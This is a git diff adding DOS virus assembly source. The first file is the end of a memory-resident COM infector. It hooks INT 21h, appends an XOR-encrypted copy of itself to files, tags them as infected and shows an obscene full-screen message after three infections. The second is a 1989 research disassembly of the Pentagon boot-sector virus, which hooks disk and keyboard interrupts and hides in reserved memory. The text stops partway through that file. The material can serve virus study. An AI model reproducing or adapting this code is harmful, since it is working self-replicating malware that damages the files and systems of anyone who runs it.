',15,'',96,'',96,'',96,'',96,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',103,' ',103,' ',103,'',96,'',96,'',96,' ' + DB 103,'',96,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',103,' ',103,'',96,'',96,'',96,'',96,' ',103 + DB '',96,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',103,'',96,'',96,'',96,'',96,' ',103,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,'',96,' ',103,' ',103,' ',103,'',96,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' +doggie DB 15,'Y',15,'O',15,'U',15,'R',15,' ',15,'F',15,'I',15,'L',15,'E' + DB 15,' ',15,'H',15,'A',15,'S',15,' ',15,'J',15,'U',15,'S',15,'T' + DB 15,' ',15,'B',15,'E',15,' ',15,'P',15,'E',15,'N',15,'I',15,'S' + DB 15,'`',15,'I',15,'Z',15,'E',15,'D',15,' ',15,'C',15,'O',15,'M' + DB 15,'P',15,'L',15,'E',15,'M',15,'E',15,'N',15,'T',15,'S',15,' ' + DB 15,'O',15,'F',15,' ',15,' ',15,' ' + DB 0,' ',0,' ',15,' ',15,' ',15,' ' + DB 03,'[',03,'Y',03,'A',03,'M' + DB 03,']',03,'/',03,'9',03,'2' + DB 03,' ',02,'-',04,'S',04,'.',04,'G',04,'R',04,'I',04,'S',04,'S' + DB 04,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',0,' ',0,' ',0,' ',0,' ',0 +;Actual program begins here + +exec: + push ax + push bx + push cx + push dx + push di + push si + push ds + push es + + + mov ax,4300h ;get file attributes + int 21h + jc long_cock + + and cl,0feh ;make it read/write + mov ax,4301h + int 21h + jc long_cock + + + +infect: + mov ax,3d02h + int 21h + jc long_cock + + + mov bx,ax + + push ds + push cs + pop ds + + mov ah,3fh + mov cx,5h + mov dx,(buffer-vstart) ;load in the first 5 bytes + int 21h + jc long_cock + + + cmp word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an + je long_cock ;EXE + + cmp word ptr cs:[(buffer-vstart)+3],42F2h + je long_cock ;Check to see if F242 tag + ;if so then its infected + jmp next + +long_cock: + jmp cocker2 + +next: + + mov ax,5700h + int 21h + + mov word ptr cs:[(old_time-vstart)],cx ;get the files time + mov word ptr cs:[(old_date-vstart)],dx ;and date + + mov ax,4202h ;move file pointer to end + xor cx,cx ;top get the files size + xor dx,dx + int 21h + jc long_cock + mov cx,ax + sub cx,3 ;sub 3 form jump at begining + mov word ptr cs:[(jump_add+1-vstart)],cx;save length in jmp commmand + + + mov cx,(old_21-old_8) ;number of bytes to encrypt before writing + mov si,(old_8-vstart) + call crypter + + mov cx,(exec-data) + mov si,(data-vstart) + call crypter + + + + mov ah,byte ptr cs:[(infect_times-vstart)] + mov byte ptr cs:[(infect_times-vstart)],00h + push ax + + mov cx,(vend-vstart) ;write the virus to the end + mov ah,40h ;of the file + xor dx,dx + int 21h + jc cocker + + pop ax + inc ah + mov byte ptr cs:[(infect_times-vstart)],ah ;counter + + + mov cx,(exec-data) + mov si,(data-vstart) ;decrypt data + call crypter + + mov cx,(old_21-old_8) ;number of bytes to decrypt after writing + mov si,(old_8-vstart) + call crypter + + + mov ax,4200h ;move file pointer to the + xor cx,cx ;begining to write the JMP + xor dx,dx + int 21h + + + mov cx,5 + mov ah,40h ;write the JMP top the file + mov dx,(jump_add-vstart) + int 21h + + jc cocker + + mov ax,5701h + mov word ptr cx,cs:[(old_time-vstart)] ;Restore old time,date + mov word ptr dx,cs:[(old_date-vstart)] + + and cl,0e0H + inc cl ;change seconds to 2 + int 21h + + + mov ah,3eh + int 21h + + + jmp show_dick +cocker: jmp cocker2 + + +show_dick: + + cmp byte ptr cs:[(infect_times-vstart)],03h + jl cocker + + + + mov ah,0fh ;get current video mode + int 010h + cmp al,7 ;is it a monochrome mode? + jz mono ;yes + mov ax,0B800h ;color text video segment + jmp SHORT doit +mono: mov ax, 0B000h ;monochrome text video segment +doit: mov es,ax + + push cs + pop ds + mov si,data-vstart ;load destination offset + xor di,di ;clear destination index counter + mov cx,(exec-data+1)/2 + rep movsw ;write to video memory + + mov ah,02h ;hide cursor + mov bh,0 ;assume video page 0 + mov dx,1A00h ;moves cursor past bottom of screen + int 010h + + +lup: mov ah, 01h + int 016h + jz lup + mov ah,0 + int 016h + + ;Clear the screen + mov ah, 6 ;function 6 (scroll window up) + mov al, 0 ;blank entire screen + mov bh, 7 ;attribute to use + mov ch, 0 ;starting row + mov cl, 0 ;starting column + mov dh, 25 ;ending row + mov dl, 80 ;ending column + int 10h ;call interrupt 10h + + mov ah,02h ;puts cursor back where it belongs + mov bh,0 ;assume video page 0 + mov dx,0 + int 010h + + + +cocker2:pop ds + pop es + pop ds + pop si ;go back to old int 21 + pop di + pop dx + pop cx + pop bx + pop ax + + jmp dword ptr cs:[(old_21-vstart)] + +old_date dw 0 +old_time dw 0 + + +buffer: db 0cdh,20h,00 +buffer2 db 0,0 +infect_times: DB 0h +jump_add: db 0E9h,00,00,0F2h,42h; + +;*********************************************************************** +;*********************************************************************** +;*********************************************************************** +;*********************************************************************** +;*********************************************************************** + +exit2: jmp exit +crypter: + push ax ;Encryptor Routine +loo: mov ah,byte ptr cs:[si] ;move byte into ah + xor ah,0AAh ;Xor it + mov byte ptr cs:[si],ah ;write it back + inc si + loop loo + pop ax + ret + + +load: mov ax,0f242h ; Check to see if we are + int 21h ; allready resident + cmp bx,0242fh ; looking for f242 tag + je exit2 + + + mov cx,(old_21-old_9) ;number of bytes to decrypt + mov si,offset old_9 + add si,bp + call crypter + + mov cx,(exec-data) ;number of bytes to decrypt + mov si,offset data + add si,bp + call crypter + + +dec_here: + push cs + pop ds + + mov ah,49h ;Release current Memory block + int 21h + + mov ah,48h ;Request Hugh size of memory + mov bx,0ffffh ;returns biggest size + int 21h + + + mov ah,4ah + sub bx,(vend-vstart+15)/16+1 ;subtract virus size + jc exit2 + int 21h + + + mov ah,48h + mov bx,(vend-vstart+15)/16 ;request last XXX pages + int 21h ;allocate it to virus + jc exit2 + + dec ax + + push es + + mov es,ax + + mov byte ptr es:[0],'Z' ;make DOS the owner + mov word ptr es:[1],8 + mov word ptr es:[3],(vend-vstart+15)/16 ;put size here + sub word ptr es:[12h],(vend-vstart+15)/16 ;sub size from current + ;memory + inc ax + + + lea si,[bp+offset vstart] ;copy it to new memory block + xor di,di + mov es,ax + mov cx,(vend-vstart+5)/2 + cld + rep movsw + + + + xor ax,ax + mov ds,ax + push ds + lds ax,ds:[21h*4] ;swap vectors manually + mov word ptr es:[old_21-vstart],ax + mov word ptr es:[old_21-vstart+2],ds + pop ds + mov word ptr ds:[21h*4],(new_21-vstart) + mov ds:[21h*4+2],es + + + + xor ax,ax + mov ds,ax + push ds + lds ax,ds:[9h*4] + mov word ptr es:[old_9-vstart],ax + mov word ptr es:[old_9-vstart+2],ds + pop ds + mov word ptr ds:[9h*4],(new_9-vstart) + mov ds:[9h*4+2],es + + + + xor ax,ax + mov ds,ax + push ds + lds ax,ds:[8h*4] + mov word ptr es:[old_8-vstart],ax + mov word ptr es:[old_8-vstart+2],ds + pop ds + mov word ptr ds:[8h*4],(new_8-vstart) + mov ds:[8h*4+2],es + + + push cs + pop ds + + +exit: + push cs + pop es + + + ; now got to copy it back...... + + + mov cx,5 + mov si,offset buffer ;copy it back and run original + add si,bp ;program + mov di,100h + repne movsb + + mov bp,100h + jmp bp + + +vend equ $ + +seg_a ends + end start + + + + + + + + + diff --git a/p/PENTAGON.ASM b/p/PENTAGON.ASM new file mode 100755 index 0000000..7c4248f --- /dev/null +++ b/p/PENTAGON.ASM @@ -0,0 +1,989 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + page 65,132 + title The 'Pentagon' Virus +; ͻ +; British Computer Virus Research Centre +; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England +; Telephone: Domestic 0273-26105, International +44-273-26105 +; +; The 'Pentagon' Virus +; Disassembled by Joe Hirst, March 1989 +; +; Copyright (c) Joe Hirst 1989. +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + + ; The disassembly has been tested by re-assembly using MASM 5.0. + + ; The code section between offsets 59H and C4H (which is normally + ; encrypted) appears to have been separately assemblied using A86. + + ; Virus is possibly an honorary term, at least for this sample, + ; as all attempts to run it have so far failed. + + ; This virus consists of a boot sector and two files. + ; The boot sector is a normal PCDOS 3.20 boot sector with three + ; changes: + + ; 1. The OEM name 'IBM' has been changed to 'HAL'. + + ; 2. The first part of the virus code overwrites 036H to 0C5H. + + ; 3. 100H-122H has been overwritten by a character string. + + ; The name of the first file is the hex character 0F9H. This file + ; contains the rest of the virus code followed by the original boot + ; sector. + + ; The name of the second file is PENTAGON.TXT. This file does not + ; appear to be used in any way or contain any meaningful data. + + ; Both files are created without the aid of DOS, and the first + ; file is accessed by its stored absolute location. + + ; Four different sections of the virus are separately encrypted: + + ; 1. 004AH - 004BH, key 0ABCDH - load decryption key + + ; 2. 0059H - 00C4H, key 0FCH - rest of virus code in boot sector. + + ; 3. 0791H - 07DFH, key 0AAH - the file name and copyright message. + + ; 4. 0800H - 09FFH, key 0FCH - the original boot sector. + +SEG70 SEGMENT AT 70H + ASSUME CS:SEG70 +EXIT: +SEG70 ENDS + +BOOT SEGMENT AT 0 + + ORG 413H +BW0413 DW ? + + ORG 417H +BB0417 DB ? + + ORG 51CH +BW051C DW ? + + ORG 7C0BH +DW7C0B DW ? + + ORG 7C18H +DW7C18 DW ? +DW7C1A DW ? + + ORG 7C2AH +DB7C2A DB ? + + ORG 7C37H +DW7C37 DW ? +DW7C39 DW ? +DB7C3B DB ? +DB7C3C DB ? +DW7C3D DW ? + + ORG 7DB7H +DB7DB7 DB ? + + ORG 7DFDH +DB7DFD DB ? + + ORG 7E00H +DW7E00 DW ? ; DW008F - Track and sector of rest of code +DW7E02 DW ? ; DW0091 - Head and drive of rest of code +DW7E04 DW ? ; DW0093 - Segment address of virus + +BOOT ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:CODE + + IF1 + ORG 206H +BP0095X LABEL NEAR + ENDIF + + ORG 0 +START: JMP BP0036 + + DB 'HAL 3.2' + + DW 512 ; BPB001 - Bytes per sector + DB 2 ; BPB002 - Sectors per allocation unit + DW 1 ; BPB003 - Reserved sectors + DB 2 ; BPB004 - Number of FATs + DW 112 ; BPB005 - Number of root dir entries + DW 720 ; BPB006 - Number of sectors + DB 0FDH ; BPB007 - Media Descriptor + DW 2 ; BPB008 - Number of sectors per FAT + DW 9 ; BPB009 - Sectors per track + DW 2 ; BPB010 - Number of heads + DW 0 ; BPB011 - Number of hidden sectors (low order) +BPB012 DW 0 ; Number of hidden sectors (high order) + + DB 10 DUP (0) + +HEADNO DB 0 + + ; Interrupt 30 (1EH) - Disk parameter table + +DSKTAB DB 4 DUP (0), 0FH, 4 DUP (0) + + DB 1, 0 + +BP0036: CLI + MOV AX,CS ; \ Set SS to CS + MOV SS,AX ; / + MOV SP,0F000H ; Set stack pointer + MOV DS,AX ; Set DS to CS + STI + MOV BP,OFFSET BP0044+7C00H +BP0044: XOR WORD PTR [BP+6],0ABCDH ; Decrypt key instruction + NOP +DW004A EQU THIS WORD + MOV DH,0FCH ; Decryption key + MOV BP,OFFSET BP0059+7C00H ; Decryption start address + MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt +BP0052: XOR [BP+00],DH ; Decrypt a byte + INC BP ; Next byte + LOOP BP0052 ; Repeat for all of it + NOP +BP0059: XOR DW004A+7C00H,0ABCDH ; Re-encrypt key instruction + MOV AX,BW0413 ; Get RAM size in K + SUB AX,0005 ; Subtract five K + MOV BW0413,AX ; Replace amended RAM size + MOV CL,06 ; Bits to move + SHL AX,CL ; Convert to segment address + MOV DW0093+7C00H,AX ; Save segment address + NOP + MOV ES,AX ; Set ES to this segment + XOR DI,DI ; Move to start + MOV SI,7C00H ; From start of boot sector buffer + MOV CX,0200H ; Move one sector + CLD + REPZ MOVSB ; Move sector to high-core + NOP + + ; Move next section of code to a safe area + + MOV DI,200H+7C00H + MOV SI,OFFSET DW008F+7C00H + MOV CX,OFFSET DB00C5-DW008F ; Length to move + PUSH DS ; \ Set ES to DS + POP ES ; / + CLD + REPZ MOVSB ; Copy program section + JMP BP0095X ; This is BP0095 in new location + +DW008F DW 0B02H ; Track and sector of rest of code +DW0091 DW 100H ; Head and drive of rest of code +DW0093 DW 9EC0H ; Segment address of virus + +BP0095: MOV CX,0004 ; Number of retries +BP0098: PUSH CX + MOV CX,DW7E00 ; Get track and sector number + MOV DX,DW7E02 ; Get head and drive number + MOV ES,DW7E04 ; Get buffer segment address + MOV BX,0200H ; Buffer offset + MOV AX,0201H ; Read one sector + INT 13H ; Disk I/O + JNB BP00B8 ; Branch if no error + POP CX + XOR AH,AH ; Reset floppy disk sub-system + INT 13H ; Disk I/O + LOOP BP0098 ; Retry + INT 18H ; Drop into basic + +BP00B8: POP CX + MOV AX,OFFSET DW7E04 ; Address segment address + CLI + MOV SP,AX ; Point SP at segment address + STI + MOV AX,0200H ; \ Address of second section + PUSH AX ; / + RETF + +DB00C5 DB 50H + + ; The rest of this sector is a normal PCDOS 3.20 boot sector + ; which has been overwritten at 100H-122H by a character string + + DB 61H, 0 + + XOR AH,AH + INT 16H + POP SI + POP DS + POP [SI] + +DW00D0 DW 0B06H ; Track and sector numbers +DW00D2 DW 0100H ; Head and drive numbers + DB 19H + + MOV SI,OFFSET DB7DB7 + JMP NEAR PTR DB00C5 + + MOV AX,BW051C + XOR DX,DX + DIV DW7C0B + INC AL + MOV DB7C3C,AL + MOV AX,DW7C37 + MOV DW7C3D,AX + MOV BX,0700H + MOV AX,DW7C37 + CALL BP0137 + MOV AX,DW7C18 + SUB AL,DB7C3B + INC AX + PUSH AX + + DB '(c) 1987 The Pentagon, Zorell Group' + + DB 7CH + JMP FAR PTR EXIT + +BP0129: LODSB + OR AL,AL + JZ BP0150 + MOV AH,0EH + MOV BX,7 + INT 10H + JMP BP0129 + +BP0137: XOR DX,DX + DIV DW7C18 + INC DL + MOV DB7C3B,DL + XOR DX,DX + DIV DW7C1A + MOV DB7C2A,DL + MOV DW7C39,AX +BP0150: RET + + MOV AH,2 + MOV DX,DW7C39 + MOV CL,6 + SHL DH,CL + OR DH,DB7C3B + MOV CX,DX + XCHG CH,CL + MOV DL,DB7DFD + MOV DH,DB7C2A + INT 13H + RET + + DB 0DH, 0AH, 'Non-System disk or disk error', 0DH, 0AH + DB 'Replace and strike any key when ready', 0DH, 0AH, 0 + DB 0DH, 0AH, 'Disk Boot failure', 0DH, 0AH, 0 + DB 'IBMBIO COMIBMDOS COM' + + ORG 01FEH + DW 0AA55H + + ; Second sector of virus + +BP0200: CLI + MOV SP,0F000H ; Reset stack pointer + STI + XOR AX,AX ; \ Address zero + MOV DS,AX ; / + MOV BX,004CH ; INT 13H jump address + MOV BP,01A0H ; INT 68H jump address + CMP WORD PTR DS:[BP+0],0 ; Is INT 68H in use + JE BP0219 ; Branch if not + JMP BP024E + +BP0219: MOV AX,[BX] ; Get INT 13H offset + MOV DS:[BP+0],AX ; Set INT 68H to this offset + MOV AX,[BX+2] ; Get INT 13H segment + MOV DS:[BP+2],AX ; Set INT 68H to this segment + MOV WORD PTR [BX],OFFSET BP04C4 ; Set address of INT 13H routine + MOV AX,CS ; \ Set INT 13H segment + MOV [BX+2],AX ; / + MOV BX,0024H ; INT 9 jump address + MOV BP,01A4H ; INT 69H jump address + MOV AX,[BX] ; Get INT 9 offset + MOV DS:[BP],AX ; Set INT 69H to this offset + MOV AX,[BX+2] ; Get INT 9 segment + MOV DS:[BP+2],AX ; Set INT 69H to this segment + MOV WORD PTR [BX],OFFSET BP0709 ; Set address of INT 9 routine + MOV AX,CS ; \ Set INT 9 segment + MOV [BX+02],AX ; / + JMP BP0254 + +BP024E: MOV BX,OFFSET BW0413 ; Address size of RAM + ADD WORD PTR [BX],5 ; Restore the 5K +BP0254: MOV BP,OFFSET DW008F ; Address virus pointer + MOV CX,CS:[BP] ; Get track and sector + MOV DX,CS:[BP+2] ; Get head and device + MOV BX,0200H ; Address second sector + MOV CX,3 ; Three sectors to read +BP0265: PUSH CX ; Save read count + MOV AX,0201H ; Read one sector + MOV CX,CS:[BP] ; Get track and sector + CALL BP0300 ; Address to next sector + MOV CS:[BP],CX ; Save new track and sector + ADD BX,0200H ; Address next buffer area + CALL BP031B ; Read from disk + JNB BP0280 ; Branch if no error + POP CX + INT 18H ; Drop into basic + + ; Read file, first sector + +BP0280: POP CX ; Retrieve read count + LOOP BP0265 ; Repeat for other sectors + MOV BP,OFFSET DW00D0 ; Address file pointers + MOV CX,CS:[BP] ; Get track and sector + MOV DX,CS:[BP+2] ; Get head and drive + MOV BX,1000H ; Buffer address + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + JNB BP029B ; Branch if no error + INT 18H ; Drop into basic + + ; Read file, second sector + +BP029B: CALL BP0300 ; Address to next sector + ADD BX,0200H ; Update buffer address + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + JNB BP02AC ; Branch if no error + INT 18H ; Drop into basic + +BP02AC: LEA CX,DB07E0 ; Address end of encrypted + LEA BX,DB0791 ; Address start of encrypted + SUB CX,BX ; Length to decrypt + MOV AL,0AAH ; Load encryption key + PUSH CS ; \ Set DS to CS + POP DS ; / + CALL BP0315 ; Decrypt + MOV AX,CS ; \ + MOV ES,AX ; ) Set ES & DS to CS + MOV DS,AX ; / + MOV DI,0100H ; Middle of 1st sector + MOV SI,OFFSET DB07BC ; Address copyright message + MOV CX,0023H ; Length of copyright message + REPZ MOVSB ; Copy copyright message + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV CX,0200H ; Length to decrypt + MOV BX,0800H ; Address boot sector store + MOV AL,0FCH ; Load encryption key + CALL BP0315 ; Decrypt + XOR AX,AX ; \ Segment zero + MOV ES,AX ; / + MOV DI,7C00H ; Boot sector buffer + MOV SI,0800H ; Address boot sector store + MOV CX,0200H ; Sector length + CLD + REPZ MOVSB ; Copy boot sector + DB 0EAH ; Far jump to boot sector + DW 7C00H, 0 + + DB 16 DUP (0) + + ; Address to next sector + +BP0300: INC CL ; Increment sector number + CMP CL,0AH ; Is it sector ten? + JL BP0314 ; Branch if not + MOV CL,1 ; Set sector to one + INC DH ; Increment head + CMP DH,2 ; Is it head two? + JL BP0314 ; Branch if not + XOR DH,DH ; Set head to zero + INC CH ; Increment track +BP0314: RET + + ; Encrypt/decrypt + +BP0315: XOR [BX],AL ; Encrypt a byte + INC BX ; Address next byte + LOOP BP0315 ; Repeat for count + RET + + ; Read from or write to disk + +BP031B: PUSH SI + PUSH DI + MOV SI,AX ; Save function + MOV DI,CX ; Save track and sector + MOV CX,3 ; Number of retries +BP0324: PUSH CX + MOV AX,SI ; Retrieve function + MOV CX,DI ; Retrieve track and sector + INT 68H ; Disk I/O + JNB BP0338 ; Branch if no error + XOR AH,AH ; Reset sub-system + INT 68H ; Disk I/O + POP CX ; Retrieve number of retries + LOOP BP0324 ; Retry + STC + JMP BP033B + +BP0338: POP CX ; Retrieve number of retries + MOV CX,DI ; Retrieve track and sector +BP033B: POP DI + POP SI + RET + + ; Find unused FAT entry pair + +BP033E: PUSH AX + PUSH DX + PUSH ES + PUSH DI + PUSH CS + POP ES + MOV DX,CX ; Initial cluster number + XOR AL,AL ; Search for zero +BP0348: MOV CX,3 ; Three bytes to check + MOV DI,BX ; Address FAT entry pair + REPZ SCASB ; Scan for non-zero + CMP CX,0 ; Is FAT pair unused + JE BP0361 ; Branch if yes + ADD BX,3 ; Address next entry pair + ADD DX,2 ; Update entry count + CMP DX,0162H ; Entry 354? + JLE BP0348 ; Process entry pair if not + STC +BP0361: MOV CX,DX ; Cluster number found + POP DI + POP ES + POP DX + POP AX + RET + + ; Find and flag an unused entry + +BP0368: TEST WORD PTR [BX],0FFFH ; Test first FAT entry + JZ BP0384 ; Branch if unused + INC CX ; Next entry number + INC BX ; Address 2nd entry + TEST WORD PTR [BX],0FFF0H ; Test second FAT entry + JZ BP038B ; Branch if unused + INC CX ; Next entry number + ADD BX,2 ; Address next entry pair + CMP CX,0163H ; Entry 355? + JLE BP0368 ; Process next FAT pair if not + STC + JMP BP0390 + +BP0384: OR WORD PTR [BX],0FFFH ; Flag 1st FAT entry EOF + JMP BP038F + +BP038B: OR WORD PTR [BX],0FFF0H ; Flag 2nd FAT entry EOF + nop ; ** length adjustment, MASM 5.0 +BP038F: CLC +BP0390: RET + + ; Unflag Brain virus bad clusters + +BP0391: PUSH AX + PUSH BX + PUSH CX + PUSH DX + MOV DX,CX +BP0397: MOV AX,[BX] ; Get FAT entry + AND AX,0FFFH ; Isolate FAT entry + CMP AX,0FF7H ; Bad cluster? + JE BP03B8 ; Branch if yes + INC DX ; Add to cluster number + INC BX ; Address next entry + MOV AX,[BX] ; Get FAT entry + MOV CL,4 ; Bits to move + SHR AX,CL ; Move FAT entry + CMP AX,0FF7H ; Bad Cluster? + JE BP03C8 ; Branch if yes + INC DX ; Add to cluster number + ADD BX,2 ; Address next pair of entries + CMP DX,015FH ; Entry 351? + JLE BP0397 ; Process this pair if not +BP03B8: MOV WORD PTR [BX],0 ; \ + MOV BYTE PTR [BX+2],0 ; ) Clear three entries + XOR WORD PTR [BX+3],0FF7H ; / + JMP BP03D5 + +BP03C8: XOR WORD PTR [BX],0FF7H ; \ + MOV WORD PTR [BX+2],0 ; ) Clear three entries + MOV BYTE PTR [BX+4],0 ; / +BP03D5: POP DX + POP CX + POP BX + POP AX + RET + + ; Convert cluster number to track, head and sector + +BP03DA: PUSH AX + PUSH BX + SUB CX,2 ; Subtract number of 1st cluster + ADD CX,CX ; Two sectors per cluster + ADD CX,0CH ; Add sector num of 1st cluster + MOV AX,CX ; Copy sector number + PUSH AX ; Save sector number + MOV BL,9 ; Nine sectors per track + DIV BL ; Divide by sectors per track + INC AH ; First sector is one + MOV CL,AH ; Move sector number + XOR AH,AH ; Clear top of register + MOV BL,2 ; Two heads 